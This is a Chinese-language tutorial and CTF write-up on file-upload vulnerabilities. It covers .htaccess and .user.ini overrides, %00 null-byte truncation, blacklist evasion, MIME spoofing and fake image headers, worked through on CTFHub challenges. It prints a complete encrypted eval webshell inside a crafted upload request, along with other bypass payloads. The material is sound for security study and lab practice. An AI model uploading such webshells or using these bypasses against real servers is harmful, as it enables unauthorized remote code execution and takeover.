文件上传漏洞

概述

什么是文件上传漏洞

文件上传漏洞是指由于对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以向服务器上传恶意文件并进行执行,后获得执行服务端命令的能力。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。

产生文件上传漏洞的原因

  • 不充分的文件验证:如果应用程序未能正确验证上传文件的类型(如MIME类型或文件扩展名)和内容,攻击者可能会上传执行恶意代码的文件。
  • 不安全的文件存储:如果上传的文件存储在可通过Web直接访问的位置,且文件名可预测或未经过适当处理,攻击者可能会执行上传的恶意文件。
  • 未对权限进行限制:权限上没有对于上传的文件目录设置不可执行权限。

例子

CTFHUB-技能树-WEB-文件上传-无验证

因为在上传文件后无验证文件信息以及设置动态脚本不可被执行,因此便可直接上传远程木马文件,

查看图片

image-20240305194710871

上传后访问此网站路径下的/upload/shell.php发现是空白界面,说明php文件可以被执行,此时通过冰蝎进行远程连接

查看图片教程

image-20240305194939723

出现phpinfo页面,说明连接成功,即可获得主机部分权限,转到对应目录读取flag

查看图片

image-20240305195139075

后端绕过-解析漏洞

解析漏洞通常指的是当应用程序或服务器在处理上传文件时,由于对文件类型的解析不当或不安全,导致攻击者能够上传恶意文件,从而执行不当操作或获取不当权限的安全问题。例如允许用户上传.htaccess文件导致用户可以设置任意文件格式的解析方式

.htaccess绕过

.htaccess简介

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。通过.htaccess可以做到:重写解析规则(如:将png文件作为php来进行解析等)、URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。

.htaccess的作用范围

.htaccess的生效范围为.htaccess文件所在的当前目录。

.htaccess利用前提

  • 使用Apache 服务器( 不适用于Nginx 服务器)
  • 能成功上传.htaccess文件的上传,且没有被重命名

.htaccess使用模板

1
2
#对于php
AddHandler application/x-httpd-php .html #将html文件作为php文件进行解析

例题:

CTFHUB-技能树-WEB-文件上传-.htaccess

查看页面源码可以发现页面后端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CTFHub 文件上传 - htaccess</title>
</head>
<body>
<h1>CTFHub 文件上传 - htaccess</h1>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
<!--
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)['extension'];
$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
if (!in_array($ext, $blacklist)) {
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "<script>alert('文件类型不匹配')</script>";
}
}
-->

$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");发现大多数的动态执行脚本文件后缀被禁止,但发现.htaccess并没有被禁止,此时可以上传文件.htaccess

1
AddType application/x-httpd-php .txt

再上传含有shell的php代码的txt文件,上传成功后,访问upload/shell.php.txt,无内容显示,说明.txt文件被作为php脚本执行成功,使用冰蝎连接

查看图片教程

成功获取phpinfo页面,连接成功,读取flag

.user.ini绕过

.user.ini介绍

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini.htaccess类似,设置当前目录的配置信息。

详细参考信息:

PHP: .user.ini 文件 - Manualphp - 神秘的.user.ini文件

其中php 配置项中有两个配置可以起到文件包含的作用

1
2
auto_prepend_file = <filename>         //将指定文件包含在该目录中所有php脚本的文件头部
auto_append_file = <filename> //将指定文件包含在该目录中所有php脚本的文件尾部

.user.ini使用前提

  • 能成功上传.user.ini文件的上传,且没有被重命名
  • 此目录下已有一个任意的.php文件

.user.ini作用范围

.htaccess文件相同,.user.ini的生效范围为.user.ini文件所在的当前目录。

.user.ini使用方法

1.首先上传一个含有php代码的任意符合后端检测的文件,以.jpg为例:

文件名为info.jpg,内容为

1
<?php phpinfo();?>

2.载上传入.user.ini文件,内容为:

1
auto_prepend_file = info.jpg   

注:info.jpg需要自己上传问文件名来确定

3.访问文件上传目录下的任意.php文件即可

例题:

数字后缀绕过

数字后缀简介

PHP 文件的标准后缀始终是 .php,适用于所有版本的 PHP。然而,在某些特定场景或由某些开发者/系统中,使用.php3.php5.php7 等不是 PHP 语言的标准文件后缀,由于一些特殊的设置.php7 等后缀可被PHP解释器解析

使用条件:

Apache 的配置文件或目录下的.htaccess 文件有添加设置,如.php7可被解析的配置为:

1
AddHandler application/x-httpd-php .php7

利用中间件漏洞

中间件漏洞是指在计算机系统中使用的中间件软件中存在的安全漏洞。中间件是指位于操作系统和应用程序之间的软件组件,用于提供不同应用程序之间的通信和交互。常见的中间件包括数据库管理系统、Web服务器(如:ApacheNginx)等。

后端绕过-软件漏洞

利用PHP某些版本的BUG可以做到一些意想不到的效果。例如,00截断

PHP 00截断绕过

00截断利用条件

  • php版本要小于5.3.4,5.3.4及以上已经修复该问题
  • PHP的magic_quotes_gpc为OFF状态
  • 用户可指定上传路径

00绕过简介

ASCII中0作为特殊字符保留,表示字符串结束。

当用户传递文件上传路径包含00,无论00后存在任何内容文本(或后端直接对00字符串进行拼接其他字符串),00后的内容都会被截断,最后字符串留下00前的内容且不包括00

以GET方式举例:

ASCII中的00,无法直接显示,所以使用URL编码,ASCII中00经过url编码后变为%00

页面源码为:

1
2
3
<?php
include $_GET['file'];
?>

test.txt的内容为

1
2
3
<?php
echo 'SUCCESS';
?>

test.txt%00.2.txt的内容为

1
2
3
<?php
echo 'False';
?>

实验1

此时通过GET传递参数,?file=test.txt%00.2.txt

查看图片教程

image-20240310203142775

页面出现SUCCESS,说明include的文件是test.txt,此时file被解析为test.txt

实验2:改变页面源码

1
2
3
4
<?php
$file = $_GET['file'] . '.2.txt';
include $_GET['file'];
?>

此时通过GET传递参数,?file=test.txt%00

查看图片教程

image-20240310203219223

页面还是出现SUCCESS,说明include的文件是test.txt,而不是test.txt.2.txt,此时变量file$_GET['file']中的影响,一同被截断

00绕过方法

GET传参保存路径

后端对文件路径的处理类似为

1
$des = $_GET['road'] . "/对文件名的处理操作......" . $ext;

此时road为我们可控的参数,可直接进行使用%00截断

查看图片教程

915b5ae1a067f5ffc307790bc7a964df

由于使用00截断,所以最后文件保存在/var/www/html/upload,名为shell.php,根据位置,访问/upload/shell.php,即进入我们所在的页面,使用蚁剑连上后,可以找到我们成功截断的shell.php

查看图片教程

bf5ed62c6866f2d35525c1d4a5505f9b

POST传参保存路径

与GET传参类似的的是:后端对文件路径的处理类似为

1
$des = $_POST['road'] . "/对文件名的处理操作......" . $ext;

此时road为我们可控的参数,但与GET传参不同的是,http请求内包含文件时,POST参数不再被自动解码,所以POST传参需要使用BP使用查看16进制的请求详情,修改一个十六进制的为00

查看图片教程

2688a4e300bf53dea64eb094b8d2ae55

步骤一:修改路径添加文件名,写入需要执行的代码语句

查看图片教程

6e15d3a27f66fc4152400ddbecb2dbfb

步骤一:切换为十六进制模式,修改所需要替换为00的位置

查看图片教程

2671bae349c3b99667fdab4ac7d326ea

由于使用00截断,所以最后文件保存在/var/www/html/upload,名为test.php,根据位置,访问/upload/test.php,即进入我们所在的页面,可以看到PHP的配置信息,00截断成功

查看图片教程

image-20240311000048915

例题:

CTFHUB-技能树-WEB-文件上传-00截断

查看页面源代码发现后端的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}

抓包,修改GET参数为?road=/var/www/html/upload/shell.php%00,使用00截断,在传入文件的内容替换成需要执行的代码,如一句话等

查看图片教程

f78ac8eccde754e43869718de37e0d80

然后使用蚁剑连接进入,可以看到我们是成功使用00截断写入的shell.php

查看图片教程

image-20240310194757813

后端检测-修改绕过

通过抓包我们发送的请求,修改请求包中的部分内容,如修改文件名(黑名单双写,大小写替换),MIME,添加文件头等等操作,使之上传的木马符合后端的要求,使之成功上传。

双写绕过

双写绕过原理

有时候在检测时,后台会把敏感字符删除,这个时候,可以使用双写进行绕过。比如:将.php改写为.pphphp

后端的代码类似为:

1
2
3
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name); //str_ireplace() 函数替换字符串中的一些字符(不区分大小写)

例题:

CTFHUB-技能树-WEB-文件上传-双写后缀

查看页面源码,发现这样一段内容

1
2
3
4
5
<!--
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
-->

这时候上传shell文件,并抓包,将后缀名.php改写为.pphphp,再发包最后成功上传

大小写后缀绕过

大小写后缀绕过

后端在检测时,后台会检测敏感字符,如果并没有不区分大小写时,可以使用大小写进行绕过。比如:将.php改写为.pHp

后端的代码类似为:

1
2
3
4
5
6
7
8
9
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");

$pattern = '/\b(' . implode('|', $blacklist) . ')\b/'; //区分大小写

if (preg_match($pattern, $name)) {
echo 'hack';
exit();
}

MIME检测绕过

MIME简介

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理URL。部分Web应用系统判定文件类型是通过content-type字段,截取一个请求信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST / HTTP/1.1
Content-Length: 930
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydBnKdxUvNtC4xakz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-bb136257750ed7ee.sandbox.ctfhub.com:10800/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarydBnKdxUvNtC4xakz
Content-Disposition: form-data; name="file"; filename="echo.php"
Content-Type: application/octet-stream

<?php
echo 'wells';
?>

------WebKitFormBoundarydBnKdxUvNtC4xakz
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarydBnKdxUvNtC4xakz--

其中Content-Type: application/octet-stream和就是描述了上传文件的MIME 类型

MIME绕过方法

部分Web应用系统判定文件类型是通过content-type字段,因此可以通过抓包,将content-type字段改为常见的图片类型,如image/gif,从而绕过校验。

常见的MIME类型:

text/plain (纯文本) text/html (HTML文档) text/javascript (js代码) application/xhtml+xml (XHTML文档) image/gif (GIF图像) image/jpeg (JPEG图像) image/png (PNG图像) video/mpeg (MPEG动画) application/octet-stream (二进制数据) application/pdf (PDF文档)

例题:

CTFHUB-技能树-WEB-文件上传-MIME绕过

尝试直接上传.htaccessphpshell文件时都上传失败,尝试修改MIME类型,抓包原始请求头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
POST / HTTP/1.1
Content-Length: 930
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydBnKdxUvNtC4xakz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-bb136257750ed7ee.sandbox.ctfhub.com:10800/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarydBnKdxUvNtC4xakz
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php
@error_reporting(0);
session_start();
$key="7dad18e6e49e447a";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

------WebKitFormBoundarydBnKdxUvNtC4xakz
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarydBnKdxUvNtC4xakz--

1
2
3
------WebKitFormBoundary4BffHh31AMlHQtBd
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

修改为

1
2
3
------WebKitFormBoundary4BffHh31AMlHQtBd
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/gif

再放行,最后发现shell.php被成功上传,访问upload/shell.php,无内容显示,说明.txt文件被作为php脚本执行成功,使用冰蝎连接

查看图片教程

image-20240305205615030

成功获取phpinfo页面,连接成功,读取flag

文件头检测绕过

文件头检测绕过简介

文件头是在每一个文件(包括图片,视频或其他的非ASCII文件)的开头(十六进制表示)的一段数据,用于描述文件的属性和格式信息, 在进行文件头绕过时,我们可以把图片的文件头添加到我们的木马内容最前面,达到绕过文件头检测的目的。

常见的文件头

注意:文本形式请点击复制,不要做任何修改

GIF:

16进制模式:47 49 46 38 39 61

对应文本:

1
GIF89a

png:

16进制模式:89 50 4E 47 0D 0A 1A 0A

对应文本:

1
2
3
‰PNG


JPG:

16进制模式:FF D8 FF E0 00 10 4A 46 49 46

对应文本:

1
ÿØÿà

文件头检测绕过条件

  • 某些情况下,后端可能还会检测文件拓展名,此时需要结合解析漏洞或者文件包含才能实现执行木马

例题:

CTFHUB-技能树-WEB-文件上传-文件头检查

步骤一:直接选择木马文件进行上传,然后进行抓包

查看图片教程

image-20240311194544976

image-20240311194902164

以添加PNG请求头为例

方法一:在PHP代码前添加入任意八个字母,用于定位以及替换为PNG的文件头,后转HEX模式替换为PNG的文件头

查看图片教程

75033ba79ccf8f01e779c986126eab6d

方法二:直接在PHP代码后插入PNG文件头对应的文本表示符号

查看图片教程

d27ef6d3293e7bd2c81eb69580af1915

参考文章